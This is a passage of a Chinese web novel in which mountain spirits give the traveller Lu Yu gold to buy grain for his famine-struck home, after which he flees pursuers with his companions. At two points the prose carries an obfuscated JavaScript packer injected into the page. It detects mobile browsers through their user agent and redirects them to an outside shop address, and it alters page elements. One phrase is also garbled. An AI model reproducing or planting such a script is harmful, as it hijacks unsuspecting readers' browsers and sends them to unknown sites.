妖怪们让老板把剩下的烧鸡打包,准备带回去给山里的小妖怪们吃。 梁俊彦也问店家要了油纸,把剩下的鸡包在油纸里,打算带回家给小孩子们吃。 吃完了烧鸡,大家往回走。 云善不愿意自己走路,骑在铁蛋身上,让铁蛋驮着他走。没一会儿就在铁蛋身上趴着睡着了。 西觉怕他掉下来,就把抱起来。一路抱着让云善睡觉。 夏日午后的村子里很安静,基本瞧不见人。大家都在家睡午觉。 梁俊彦想带妖怪们回梁家,兜明说要回山里睡觉。 梁俊彦请了三回,妖怪们都没去,便也作罢。他看着西觉他们沿着田边路往山边走,没很快就瞧不见人影了。 梁俊彦拎着打包回来的烧鸡回了家。家里也很安静,树下的大狗正趴在地上睡觉。 5. 陆虞上云灵山 傍晚,太阳落山之后。梁家就收了桌子,一家人回到屋里去。 梁俊彦带回来的烧鸡下午就被家里几个小孩分着吃光了,油纸也被自家狗捡过去舔了又舔。 周勤俭把卤了一下午的猪头肉端上桌,笑道,“咱家这两天饭食真好。” 梁文忠给自己倒了一杯酒,夹了筷子猪头肉美美地吃了一口,夸道,“肉卤得香。” “弟妹手艺一直好。”王小花跟着夸。 小孩子们单独在另一张小桌子上吃饭。梁家下一代一共有五个孩子,老大家生了一儿两女,老二家一男一女。 梁俊永家最大的孩子是女孩,十三岁,是个文静的小姑娘,小名叫大丫。老二是男孩,今年十岁,小名叫大狗蛋。老三也是个女孩,六岁,小名叫三丫。 梁俊彦家老大是男孩,小名跟着梁俊永家的男孩排,叫二狗蛋,今年也是十岁,和大狗蛋一个岁数,月份要比大狗蛋小三个月。他家姑娘今年八岁,小名叫二丫。 农村都说贱名好养活。家里孩子多,梁文忠也不费劲给孩子起小名,都顺着叫下去。 小孩那桌,大狗蛋和二狗蛋两人边吃边说,突然就打了起来。 大狗蛋冲着二狗蛋脑袋上打了一巴掌。二狗蛋不让,站起来推搡大狗蛋。 周勤俭心疼儿子,赶紧喊,“干啥呀?打什么架?” 大狗蛋说,“二狗蛋抢我肉。” “碟子里都是肉。”王小花说,“你再吃别的肉就是了。” “你打你弟干啥?” “谁让他抢我肉。” 王小花听了这话,放下筷子,走过去对着大狗蛋脑袋上就是一下,“死孩子,这么多肉,不够你吃的?” “就非得那一块落你嘴里?” “不够吃再去锅里盛。”梁俊永板着脸说,“你要是再为一块肉打你弟,我得揍你。” 梁俊彦劝道,“管他们。小孩子哪有不打架的。” 二狗蛋哼了一声,夹肉吃。大狗蛋挨了一下打也老实了,继续吃饭。 吃完晚饭,二嫂子周勤俭催着梁俊泽把山里客人的礼物拿出来给大家看。 王小花催着大丫把弟弟妹妹领出去玩。 “娘,我也想看。”大丫说。 “小孩子看什么?”梁李氏把孩子们都轰出了屋子。 梁俊泽回屋,开了柜子上的锁,把篮子提到堂屋。 大家凑在一起,梁俊永掀开布。一下子就瞧见了最上面的透明圆球。 “这就是那个宝贝呀。”周勤俭说,“透亮的呢。” “树咋弄进去的?” “不知道。”梁俊泽说,“没见过呀。” 王小花摸了摸水晶球说,“透滑的。” “这能值多少钱?” “应该值不少钱。”梁俊彦把上午在镇里的事说了,“他们买烧鸡一下子都买几十只吃,一人抱着一只啃。” “买东西用金珠子,十分阔气。比二叔家都阔气。” 他说的二叔家是在麻城做生意的旁支。因为家里原先做生意,不好考科举。后来就分了家,他们算主支,剩下的那一支是旁□□个二叔也不是梁俊彦的亲二叔,是堂叔。 一家子围着看了会儿水晶球。梁俊泽又翻了本子给他们看。最后拼了两下颗粒拼给大家看。 “我咋觉得就这个球最好。”大嫂子王小花说。她是觉得就这个值钱,其他的不值钱。 “这颗粒拼也是新奇。”梁俊彦道,“我在镇上从来没见过这种东西。” “爹,他家和咱们家到底什么关系?”周勤俭问。 “只说祖上是兄弟。”梁文忠说,“其他的也没说。” “爹,山里人能有这些东西?”梁俊彦说,“怕是不简单。” “要么是祖上传下来的,要么就是别处得来的。” “不得是祖上传下来的。”梁文忠道,“老祖宗后来才做买卖发家。听说几个兄弟少年时就走散了。” 梁俊永说,“那就是从别处得来的?” “他们许是前两年就下过山了。” 梁文忠喝了杯酒,叮嘱道,“以后要是遇着他们下山,只管当客人客气招待了。他们瞧着也都不是小气人,刚从山上下来就给咱们送这么些东西。肯定和咱们有情分的。” “东西是哪来的就别问了。其他的事也别问。” 家里的人都应下。 晚上,梁俊泽刚躺下,听得窗户边有动静。一颗小脑袋从窗户里伸进来,小声喊着,“三叔。” 是二狗蛋的声音。 “你不去睡觉,跑我窗台下干什么?”梁俊泽坐起来。 二狗蛋从窗户里爬进屋,打开了门,大狗蛋和大丫一起进了屋。 “你给我们瞧瞧宝贝呗。”大丫央道。 “就是。啥样宝贝,也给咱们看看。”二狗蛋说。 梁俊泽笑着说,“赶紧回屋吧。不回去,我可喊你们爹了。” “三叔。”二狗蛋坐到床边,晃着梁俊泽胳膊,“求求你了,给咱们瞅瞅。” “就瞅一眼。” 梁俊泽道,“那你们看了,可不许和外人说。” “要给我娘知道,你们都得挨打。” “保证不说。”大丫道,“三叔你放心,我嘴可严了。” 梁俊泽开了柜子,把水晶球拿出来。他们没点灯,就在窗户下,借着月光看。 “这么好看。”大丫问,“这是啥呀?” “我也不知道。”梁俊泽说,“我猜是水玉。” “我知道水玉。我在书里读过。”二狗蛋说。 家里有田地,梁文忠把家里的男孩都送去读书了。梁俊永和梁俊彦都读过书。大狗蛋和二狗蛋现在都上学堂。 梁俊泽给他们看了水晶球,就撵他们回去,“赶紧去睡,小心被你们爹娘捉住。” “知道。” 看着三个孩子推开门出去,梁俊泽把水晶球放回柜子里,回了床上睡觉。 第二天一大早,陆虞早早下山打听情况。想知道后来梁家怎么样了。 到了东望村,他发现梁家和昨天一样,院子进进出出好些人。 陆虞十分纳闷,“怎么还这么热闹?”被土匪抢了,不应该是哭天抢地的吗? 到院子门口,看到里面还摆着席,陆虞更是惊讶。他找了位置坐,边吃边向旁边人打听。 原来昨天来的土匪都被赶猪来的那群人打倒了,还扭送到官府去了。 陆虞十分震惊。那些人也太厉害了吧。 他赶紧向旁边人打听昨天的事,那些人是怎么把土匪打倒的。 “那些人啊。”旁边坐着的中年人说,“他们就是前面山上的人。” “是梁家的远房亲戚。之前云灵山上有雾,没人能上去,也没人出来。这不雾散了,他们出来了嘛。” “怪不得敢养野兽呢。人家有真本事的。” “其实那些拿刀的人不是土匪,是什么独峰派的人,要来杀一个小孩子的。” 陆虞听了很是震惊。独峰派应该是江湖门派,怕是来追杀乌日善他们。他匆匆吃完了饭,把桌上的馒头塞进怀里,又把盘子里的肘子也都揣进怀里。 “你这人,怎么还连吃带拿的?”中年人不满道,“你是梁家什么人?听你口音,外地的吧?” 陆虞带着歉意道,“家里好几口等着吃饭。” “叔,我先走了。” 中年男人看着陆虞快步离开的背影,和旁边人嘀咕,“吃相太难看。” “家里等着吃饭也不能拿那么多回去啊。前面衣服都快兜不住了。” 陆虞揣着馒头和肘子,边往回走,边想着事。 陈川和张槐有武功,可他们不愿意当土匪。山上那群人听起来也厉害,本来就住在山里。他想着,要不干脆去找那些人商量,认他们做大哥,大家一起在山上做土匪。 陆虞想来想去,觉得这个办法好。前面叫云灵山的山头可是老大一片山,他们村里的人都来了,那山也够住的。 “哟。”张槐突然出声,吓了陆虞一大跳。 陆虞从怀里掏出馒头和肘子,笑道,“今天日子好,啥也没遇着。” “给你们带吃的回来了。” 张槐接过馒头咬了一口,把猪肘子拿在手上,到了山洞口,张槐喊乌日善,“少主,来吃肉了。” 乌日善接过肘子,先送给陈川吃,“陈叔,吃。” “我不吃。”陈川说,“生病得静养,不能吃这么油腻的。少主你吃。” 乌日善听了这话,大口咬着肘子。吃了两口后说,“好吃哎。” 张槐给陈川丢了两个馒头。 陆虞把打听到的事说给陈川和张槐听。张槐听了,脸色当即沉了下来。没想到,追杀他们的人速度这么快,已经找到这了。 “这山呆不了多久了。”张槐说。 陆虞和张槐、陈川一路搭伙走过来,心里也有自己的盘算。 他老家差不多在中州中间。中州遭灾,百姓为了活命,必然有抢粮食的事情发生。陈川和张槐有一身好本事。若是自己买了粮食,可请他们护送。这样他能把粮食安全带回家。 因此,陆虞花了很大功夫说服了陈川和张槐带着乌日善逃往中州。中州缺粮,往中州去的人必定少。到时候藏在他们村里,或者装作难民跟着大家一起逃难,别人想找也找不到。 不过,陆虞昨天改变想法了。他想在这边做土匪。于是就把自己准备去云灵山拉人入伙做土匪的事说了。 张槐:...... 他心里觉得陆虞真不是一般人。此人做事颇有韧性,属于大胆想,大胆干的人。想了啥就一定会去干。不然也做不出只读了五年书,就从中州跑了上千里去找秋水先生拜师的事。 张槐和陈川自知劝不动陆虞,只好随他去。 陆虞说,“我明天就去云灵山打探一番。” “陈川受了伤,指望我们带着他们,跑不了多远。”陆虞分析道,“云灵山里的人武功定然高强,不然打不了那么多人。” “村里的人说他们昨天才从云灵山上下来。想必和你们说的江湖上的人没什么牵扯。” “如果他们人还不错,我们可以暂时去云灵山里躲着。” 张槐和陈川对视一眼,没想到陆虞竟然也考虑到他们了。 “你说的有道理。”陈川道,“明天得麻烦你再去探消息。” “不麻烦。”陆虞道,“不用跟我客气。” “出门在外,大家互相帮助。” 隔天一早,陆虞拎着根棍子下了山,先是路过梁家顺便吃了顿饭。又顺着前面的路一路往山上去。 “兄弟,你这是要去哪?”田里割麦子的村人问,“这条道只通往前面的云灵山。” “前面山上野兽多。你莫要去。”村人劝道。 陆虞扬扬手里的棍子,“不怕。只要没大虫,我就不怕。” “没有大虫还有黑熊呢。”村里人说,“上回我们村里有人上山,差点就被黑熊扑倒了。” 陆虞皱着眉头道,“我上山有些事。” 他找了个借口,“我听说山里有个云灵观,我去求求事。” “求什么?”割麦的村人提着镰刀追问,“你口音是外地的吧?来云灵观求什么?” “听老人说,咱们云灵观二百年前灵得很。” “现在都没人敢上山。” “就求点事。”陆虞不跟他多说,拎着棍子继续往前走。 山里都是蝉鸣和鸟叫声,也没别的动静。陆虞走在山道里,心里发怵,握紧了棍子警惕地看着四周。 一路行到半山腰没见有什么猛兽,倒是有猴子从他头顶的树上跳过去。 “谁呀?”突然传来一个孩子的声音,陆虞被吓得一抖,四处找了找,看到头顶大石头上站着他前天见过的野兽。野兽背上驮着个穿蓝色道袍的小童。 很快,又有个小孩探出身子,“有人啊。” 陆虞前天见过这两个孩子,和赶猪的一起去给梁家送礼的。 “上回和你们在一起的大人呢?”陆虞问。 坨坨回,“去山里了。” “你找他们?” “找他们什么事啊?” 坨坨心想,他们根本不认识这个人类呀。 “我找他们说些话。”陆虞问,“他们什么时候回来。” “不知道。”坨坨说。他想到了风岚被人类欺骗的事,又想,他们根本不认识这个人。这人来找花旗和西觉做什么? 坨坨防备地看着陆虞,“你上山到底有什么事?” 陆虞想拉人入伙做土匪的事自然不会和小孩子说,只说,“我听说他们在山下打跑了土匪,十分厉害,想来与他们结识。” “你们在石头上往下看危险。等我上去和你们说话。” 陆虞吭哧吭哧地爬到石头上,把棍子扔到一边,一屁股坐了下来。 以前山里只有梁佑他们会上来,云善没在山里见过其他人。他靠在铁蛋身上,好奇地看着陆虞。 “你是下面村里的人?”坨坨问他。 “我不是。”陆虞说,“我是中州人。” “中州在哪?”坨坨好奇地问。 陆虞,“从这往西再走约莫一千里路。” 坨坨惊讶地瞪大眼睛,“那么远?” “你怎么来这么远的地方了?” “我原是北上拜师来的。”陆虞说,“我喜欢读书。想拜娇儿山的秋水先生为师。” “秋水先生是隐士,不愿意收徒。我在娇儿山下住了一个月,还是感动不了先生。又听说中州大旱,我便想回家。” “后来遇到几个朋友,阴差阳错就来了这边。” 云善打开水杯喝了口水。陆虞舔舔嘴唇,“小孩,给些水让我喝一口?” 坨坨找了片大树叶来,让云善倒了些水在树叶里。他捧着树叶给陆虞,“给你喝。” 陆虞接过树叶,把上面的水都喝了,又说,“再来些。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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坨坨把杯盖取下来,云善抱着杯子跑回去,拿了瓢从水桶里舀了些水倒在杯子里。 直接打上来的井水凉,妖怪们不让云善喝这么凉的水。都是提前打好了水放在太阳下晒着。 坨坨在旁边,看着云善灌好水,帮他把杯盖拧到杯子上。 云善接过水杯,挂在自己的脖子上。 坨坨去偏殿取了三支香给陆虞,冲着大殿说,“你进去吧。” 陆虞接过香,自己迈过门槛走进大殿里。他自己点了香,跪在拜垫上。 看着殿里的神像,陆虞有些心虚。他是来劝人当土匪的。因此,不敢抬头看殿里的神像。 他捏着香,闭着眼睛,心里不住地念,“求神仙怜悯,降雨中州。” 坨坨站在大殿门边,云善坐在门槛上,看到陆虞在神像前跪了好久后才起身,把香插进香炉里。 上完了香,看到旁边的功德箱。陆虞想了想,求神仙怎么都得心诚,该有些表示。于是就从兜里把昨天从梁家要来的十文钱都投进了功德箱里。 陆虞走出大殿,看着这一方小院子收拾得干干净净,问道,“你们就住这。” “对啊。”坨坨回。 兜明咬着黄瓜,从外面走进来。看到有个人在,他一点也不惊讶。 云善跑过去要黄瓜吃,“嘟嘟,吃。” 黄瓜被兜明啃得只剩下个屁股,他随手丢在地上。趴在地上的铁蛋起身,和钢蛋一起向黄瓜冲过去。 钢蛋压着铁蛋的脑袋,不让它往前走。铁蛋撞开钢蛋,叼了黄瓜屁股跑到墙下阴凉地。 钢蛋恼了,追过去打铁蛋。两个闹着出了云灵观。 本来是云善要黄瓜吃的,结果剩了个黄瓜屁股还被铁蛋吃了。他看一眼闹到外面的铁蛋和钢蛋,懵懵地抬起头看兜明。 兜明在他脑袋上弹了一下,“走,去菜园子里摘黄瓜。” “晚上让坨坨做拍黄瓜吃。” 兜明抓着云善的小肩膀就把他提了起来,扛着云善往菜园走。 云善努力抬高头喊,“扒蒜。”他知道拍黄瓜要扒蒜。 “蒜给你扒。”兜明说。 陆虞自觉地找了个板凳坐在廊下,坨坨问他,“你怎么还不走?” “我等你家大人回来。”陆虞说。 坨坨坐在一旁,问陆虞中州是什么样。陆虞也是个爱聊的,和坨坨讲了好些中州的事。 坨坨听得津津有味。又听陆虞说他一路讨钱要买粮食救济乡亲父老。 “你凑到钱了吗?”坨坨问。 陆虞苦笑,“哪那么容易。” “我一介白身,空口白牙问别人要钱。少有人愿意舍钱给我。” “我知道,好些人拿我当骗子。” “那你是骗子吗?”坨坨问。 “我不是啊。”陆虞说,“我讨钱真就是为了买粮食回去救活乡亲父老。” “不管哪里遭灾,最苦的都是百姓。”陆虞说,“虽然朝廷会发救济粮,中间还要经过很多手。即使粮食到百姓手里,也不是所有百姓都能活下来的。” “人多粮少,救灾的粮食根本不够。” “你知道易子而食这个词吗?”陆虞看向坨坨。 坨坨听过这个词,也知道是什么意思。这个词的意思简单易懂,在表意之下,有残酷、悲凉、无奈...... “这是个不好的词。”坨坨难过地说。 “如果人饿到一定程度,为了活下去,什么事都做得出来。”陆虞说,“易子而食是历史上发生过的事。” “易子而食、赤地千里、饿殍遍野......” 陆虞叹了口气,“我想到这些词,心里就难受。” “我不想这些事发生在我家人身上,也不想这些事发生在乡亲父老身上。” “可是,我不知道怎么挣钱。除了到处讨钱,我想不到其他法子。能讨一些便能换些粮食。粮食就是救命的。” “不然,光我一个人回去,只是给家里多添张嘴。地不出粮食,我回去也帮不上忙。” 坨坨说,“你做得很对,带粮食回去才能救人。” 陆虞苦笑,“可惜凑不来钱。” 云善搂着七八条黄瓜跟在兜明身后走进云灵观。把黄瓜放到走廊下,他才腾出手。自己跑进厨房里,很快就跑了出来。 坨坨看他拿了一坨蒜和一个小篮子。 “嘟嘟。”云善把蒜拿给兜明,“扒开。” 兜明把蒜从中间掰开,再递回给云善。 云善拿着蒜坐在凳子上,开始扒蒜。 兜明拎了个凳子坐在云善身边扒葱。 陆虞自来熟地捡起一根黄瓜,在衣服上擦了擦,咬了一口。黄瓜青涩的味道冲进嘴里,陆虞想着,他好些天都没吃到黄瓜了。 6. 给他金子 坨坨跑进屋里,把乾坤袋里的金子都倒出来看了看。除去云善爱玩的金珠子、金项链,还剩下一大把普通金珠。 坨坨点了数,一共有129颗普通金珠。根据前两天称重的经验,他估摸这些得有2两金子。不知道2两多金子能买多少粮食。 “兜明。”坨坨在屋里喊。 “干吗?”兜明停下扒葱,看向屋子门口。 “你进来,我跟你说话。”坨坨说。 兜明放下葱站起来,“什么话不能出来说?” 兜明走到房间门口,坨坨冲他招手。 “你那还有金子吗?”坨坨小声问。 兜明把之前从商场里拿的金碗、金筷子和金勺子从乾坤袋里掏了出来。云善不愿意用这些,就愿意用他的不锈钢小碗。金碗就一直被兜明收在乾坤袋里。 “你要金子干什么?”兜明问。 “陆虞和我说,中州大旱,缺少粮食。人类实在没饭吃的时候会互相换幼崽吃。太惨了呀。”坨坨说,“金子能买粮食。让他买了粮食带回中州去。能救人的。” “我们要金子也没什么用。” 兜明翻了翻自己的乾坤袋,找不出其他金子,“我就这些了。” “你问问小丛。他应该还帮云善收着一些。” 坨坨传音问小丛。小丛很快回了云灵观。 云善扒完了一坨蒜,又蹲下来扒地上的葱。 看到小丛从外面回来,云善扬起笑脸问,“回来呐。” 小丛和坨坨对视一眼,两人一起回了屋里。 陆虞夸云善,“你这么能干。会扒蒜还会扒葱呢?” 说着就把屁股底下的板凳挪近,抓起一把葱一起帮着扒。 云善高高兴兴地看了陆虞一眼,听人夸他,他高兴。 坨坨从小丛那又凑了二十颗小金珠子,都装在金碗里端了出去。 “陆虞。”坨坨走到陆虞跟前,“这些给你拿去买粮食。” 陆虞抬头,就见坨坨拿着个小金碗,碗里伸出金勺子和金筷子,他吃惊地问,“这是金的?” 然后又瞪大眼睛,“给我的?” “是金的。”坨坨放在他怀里,“给你的。” “不知道能换多少粮食。” “你拿去救你的父老乡亲。” 陆虞放下手里的葱,拿起金碗,摸着还有些重量。他又抬头再次确认,“你都给我?” “当然啦。”坨坨说,“都给你。” “你家大人知道吗?”陆虞说,“你给我我不敢拿。” 坨坨嘿了一声,“不用他们同意。” “这事我能管。” 云善站起来走到陆虞身边看看,小声念叨一句,“金珠啊。” “你们不是山里人吗?哪来这么多金子?”陆虞把金碗放在一旁凳子上。 坨坨说,“就有啊。”坨坨摸了根黄瓜吃,“你问那么多干嘛?”这种事又没法解释了。 “你们不会是抢的吧?”陆虞看向坨坨。他有一瞬间想,会不会山里这伙人原本就是山贼? “我们才不抢呢。”坨坨说,“抢东西是土匪才干的事。” “你打听那么多干什么?” 陆虞道,“我就问问。” 坨坨喊兜明进屋揣面,晚上蒸馒头吃。 云善扒完葱,提着西觉给他新做的小扫把在院子里扫地。这边扫扫,那边扫扫。看到石砖缝里有小草冒出来,他就蹲下来把草给薅了。 陆虞要等花旗他们回来,闲着没事干就问坨坨,“你们有没有什么要干的活?我给你们干活。” “没活干。”坨坨说。 陆虞看云善在扫院子,拿了靠在墙边的大扫把也开始扫院子。 云善拖着小扫把跟在一旁扫。原本他扫地就是玩。见陆虞也扫,他不玩了,一下接一下扫地。 竹扫帚落在石砖上滑动,发出“哗”“哗”的动静。 坨坨喊,“院子里又不脏,你扫它干吗?” “我看云善扫了。”陆虞实诚道。 “他扫地是为了玩。”小丛抿着嘴巴笑。 陆虞摸摸脑袋,不好意思地笑笑。放完了扫帚,他又去看小金碗。手背在身后,蹲在地上,“真是金子啊?” “真好看。” 云善把小扫帚也靠在墙边,跑过来从金碗里抓了把金珠子在手里。 “你别乱拿呀。”陆虞说,“金的值钱。掉了就可惜了。” “不好看。”云善说。说完就往屋里跑。 花旗先从外面回来,看到院子里还有个人,问道,“干什么的?” 陆虞终于见到大人了。他笑着迎上去,“我叫陆虞,中州人。” 花旗嗯了一声,走到井边水盆洗手。 云善拿着一串用红绳串着的金挂件跑到陆虞身边,“看。” “好看的。” 云善喜欢玩的金挂件都被坨坨用红绳拴在一起,省得他玩得东一个西一个不好找。 陆虞低下头来看,那一串东西上有如意、福袋、铜钱、金龟、小猪......个个雕得都好看。他夸道,“是好看。” 云善抱着花旗的腿喊,“花花。” “去哪呐?” “在后面山上。”花旗说。 云善跟着花旗进厨房,陆虞也跟进去了。 兜明把洗好的葱拿进屋里,“晚上腌个葱。” 花旗嗯了一声。 云善把金珠子和金件放到灶台上,问花旗,“做饭啊?” “做饭。”花旗说,“你去外面抱些柴火来。” 云善听了,立马往外跑。 花旗问站在厨房里的陆虞,“你有什么事吗?” 陆虞挠挠头,“坨坨刚刚给了我些金子。” 坨坨站在厨房门口接话,“陆虞他们家那有旱灾。他说想买粮食回家救人。” “他没钱,我就拿金子给他,他不拿。非得问你。” 坨坨抱怨道,“我说我能当家,他不信。” 花旗看着陆虞说,“给你的就拿去吧。” 陆虞高兴地哎了一声,把云善放在灶台上的金珠子拨到手里。没动那串金件。 不过他也歇了劝人当土匪的心思。山里人看起来不缺钱。靠着山有菜吃也有肉吃。陆虞想,这些人应该不会愿意跟他一起做土匪的。日子这么好,根本就不需要做土匪。 陆虞捧着那些金珠子,突然冲着花旗噗通一下跪了下来。 这一动静把花旗和坨坨都吓一跳。 “你干什么啊?”坨坨问。 “今日诸位以金相赠,大恩大德,虞没齿难忘。他日诸位若是需要陆虞,便是刀山火海,陆虞也敢去闯。” 云善抱着柴火进来,见陆虞跪在拿。他走到陆虞身边,眨巴着大眼睛看着陆虞问,“干什么呐?” 坨坨说,“陆虞你快起来。” “不用你报恩。”花旗说。“快起来吧。” 陆虞一脸感激地站起来,“恩公高义。” “别文绉绉的了。”坨坨说,“天色要晚了,你赶紧下山吧。” 陆虞问坨坨要了块布,把金珠子、金碗、金筷子、金勺包起来揣进怀里。走出云灵观,对着云灵观又拜了三拜。 他摸着怀里的包裹,心里止不住的高兴。这些金子约莫有个六七两重,能买很多粮食。 陆虞一路高兴地下山。到山脚时,太阳已经完全落到山下。今天只吃了一顿饭的陆虞肚子饿得咕咕叫。 路过东望村,陆虞再往前走二里地,天已经黑了。月亮高高挂在天上,月光洒在脚下,照着陆虞上山的路。 因是黑夜,陆虞走山路时格外小心。 “陆虞。”前面传来喊声。 陆虞赶紧应一声,“哎。”是张槐在叫他。 张槐站在前面树后问,“怎么去这么长时间?” “我还以为你回中州了。” “马上就要回中州了。”陆虞高兴道,“我讨来钱了。” 张槐讶异,“去哪讨的?你今天不是去云灵山吗?” “就是山里人给的。”陆虞说,“还给了不少。” “明儿找辆车,拉上陈川,咱们就能回中州。” 两人走在山路上,陆虞把花旗他们好一顿夸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022487|148718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “张槐你不知道,我都没想到他们能给我这么多钱,还是金子!” 山里没人,陆虞也没压着声,兴奋道,“我今天可是遇到大善人了。” “讨了这一路,我都灰心准备做土匪了。没想到,竟然有人给我钱。” “人家听我说中州有难,二话没说,拿了金子给我。还是个小孩给的。” “我不敢接,小孩的话哪能当真。我在山上等了许久,等来了他家大人。人家什么也没说,就让我拿钱走了。” “我说以后给他们报恩,人家也说不用。” “张槐你说说,我今天是不是遇到大善人了。” “云灵观真是个好地方,没想到我能在那讨到钱。村子里人都说云灵观灵,不知道我许的求雨愿望能不能灵验。” “他们是山里人,从哪来的金子?”张槐问,“金子还让小孩拿?”他觉得这些事很蹊跷。家底得多丰厚才能让小孩碰金子。 “我问了金子的事,他们让我别问。”陆虞说。 张槐又问,“人家同意和你一起当土匪?” “人家有钱,干啥还要跟我一起当土匪。”陆虞说,“我没好意思问。” “他们有好好的日子,为什么要落骂名?” “我还问了,他们说就这几天才下山。之前都呆在山里。” “问他们知不知道江湖上的事,那个小孩和我他不知道。” “看他们的样子不是骗子。”陆虞道,“他们也没必要骗我。” “若是这片山头不安全,我们可以躲去他们那片山。” 张槐知道陆虞这人粗中有细,人瞧着不靠谱,办事有他自己的章程。 他们避开山路上设置的陷阱,回了山洞。 张槐是个很谨慎的人。到山上第一天就带着陆虞做了些陷阱。若是有人杀上山,陷阱能拖会儿人。 陈川听到动静醒了,撑着身子坐起来,笑着打趣陆虞,“找到同伙了?” “没找到同伙,找到恩公了。”陆虞从怀中掏出金碗,小心地放在书箱里。 “什么恩公?”陈川问。 陆虞把今天的事又给陈川讲了一遍。 陈川说,“听起来他们是不错的人。” 陈川心里觉得,能相信陆虞的说辞,给他钱的人,必定心底十分善良,人十分单纯。 陆虞升起火,问陈川和张槐,“你俩吃不吃饭?要是吃,我就多煮些。” 张槐说,“我不吃。” 陈川道,“给我煮一碗。” 陆虞倒了米下锅,坐回山洞里,把书箱里的金碗拿出来给张槐和陈川看。 “这金碗做得多好看。” “明日我去镇上先找金店,看能不能多换些银子。” 陆虞自己念叨着说着明天要干的事,“明天我去镇子上买辆车,回来就能拉陈川走。” “我们直接走官道,混在人群里。那些江湖人还能拦着路查不成?官家能让他们?” 张槐嗤笑一声,“要是走官道,走不出十里地,我们就能被人给剁了。” “官道驿馆里的小卒子都是眼线。就连官道旁卖茶水的都可能是眼线。” 陆虞嘟囔道,“你们江湖还真是复杂。” 乌日善在干草上睡得很熟,一点都没被山洞里的讲话声打扰。 一会儿后,外面锅里响起咕嘟咕嘟的声音。 陆虞走出山洞,坐在锅边等着。寻思时间差不多了,他把火灭了,先盛了一碗粥给陈川,又给自己盛了一碗。 他饿得狠,不顾粥烫,稍微吹了吹,急吼吼地沿着碗边转着圈喝粥。 两碗粥下肚,陆虞觉得五脏六腑都舒坦了。他放下碗,走回山洞里,躺在干草上,舒坦地叹了口气。 “我睡觉了哦。”陆虞说。 陈川嗯了一声,“知道了。” 话音落了没几息,陆虞的呼噜声已经响了起来。 陈川唉了一声,“他睡得真快。” 张槐说,“陆虞今天走了不少路。” 陆虞回来之前,陈川已经睡了一觉,现在有点睡不着。他缓缓起身,去外面上厕所。 7. 哪来的大蒜 张槐闭着眼睛正要入睡,听到一串急匆匆的脚步声。 陈川小声喊,“有人上山了。” 张槐跳了起来,“到哪了?” “听着动静已经到半山腰了。”陈川说,“有人中了陷阱,叫出声,让我听见了。” 陈川推推陆虞,陆虞没醒,他翻了个身继续睡。 陈川手下用力,一巴掌扇在陆虞肩膀上。 陆虞疼得坐起来,“我胳膊撞什么东西了?” 张槐压低声音道,“有人追上山了。” “你们先走,我去把人引开。” “去云灵山吧。” 他们现在只有去云灵山才有活下来的机会。 陆虞爬起来,摸着黑打开书箱,把金碗揣进怀里。 张槐背了装着稻草的假人出了山洞。 这是早就做好的准备。把乌日善的衣服里装了稻草做假人。只要距离隔得远,很难被发现是稻草人。这主意是陆虞想出来的。 陈川已经把乌日善晃醒了。 “走。”陈川牵着乌日善的手说。 陆虞快速道,“陈兄,我背你。” 陈川还在养伤,昨天天才刚能自己走路。走得也不快。 陈川知道自己的身体是什么样,没有犹豫,上了陆虞的背。他不放心单独把乌日善交给陆虞。 乌日善还懵着。陆虞扯下腰带,一边扣在乌日善胳膊上,一边扣在自己手腕上。“小善,现在逃命,你自己得走快些。” 陆虞背起陈川,牵着乌日善跑出山洞。早在他们山上第一天,张槐就规划好了逃命路线。 陆虞顺着小道往西跑。他知道张槐必定会引人往东走。 乌日善才4岁多,一路跑着跟在陆虞身边。陈川担心他,一直看着他。 陆虞一口气背着陈川跑到山下。乌日善跑得不快,踉跄着摔了个跟头。他一声不吭爬起来继续跟着跑。 “少主,还能跑吗?”陈川问。 “能跑。”乌日善坚定地说。 现在不是心疼人的时候,陆虞带着他们尽量找树木或者灌丛走。 “等等。”陈川说,“前面有人。” 陆虞四处一瞧,除了前面的麦地,根本没有能藏人的地方。他果断地钻进麦地里,趴在地上说,“前面有多少人?” 陈川道,“二三十个。” 这儿往云灵山只有田地,没林子了。 “幸亏有麦子能挡着。”陆虞说,“先爬着走。” 陈川的伤在腰上,好在胳膊能使劲。他从陆虞身上爬下来,和陆虞把乌日善夹在中间,一起往前面爬。 爬到一处田埂上,陈川小心地探出头,见四周没人,他道,“没人了。” 陆虞又将陈川背上,带着乌日善拼命地向前跑。 好在两座山之间只隔了五里路,追他们的人都往另一座山去了,没人往云灵山这边。 陆虞背着陈川上了山。有树林遮着,两人放心许多。 陆虞大口喘着气,速度越来越慢。显然是走不动了。 陈川道,“已经到了这边山上。陆兄将我放下吧。” 陆虞靠着石头,将陈川放了下来,坐地上大口喘着气,抹掉头上的汗。 乌日善也坐在一旁大口喘气,显然也是累得不行。 “你找个地方藏着。”陆虞说,“我带着小善先去山上叫人。” 陈川道,“你先去叫人。我带少主走。他也走不动了。” 陈川并不放心把乌日善单独交给陆虞。 “行。”陆虞站起来,“你们注意些。” 陆虞解开乌日善胳膊上的腰带,折了根树枝,赶紧往山上走。 陈川捂着腰,拉着乌日善跟在后面。 半夜里,妖怪们都已经睡熟,忽然听到外面传来拍门声,“救命啊——恩公,救命啊——” 铁蛋扒开了门,先冲了出去。 花旗睁开眼,西觉已经变成人形往门口走。 坨坨坐起来说,“我是不是做梦?怎么听到外面有人拍门。” 小丛说,“不是做梦。真有人拍门。” 妖怪们都变成人形,花旗点亮了油灯。 坨坨,“谁会来敲我们的门?” “人类会半夜上山吗?” 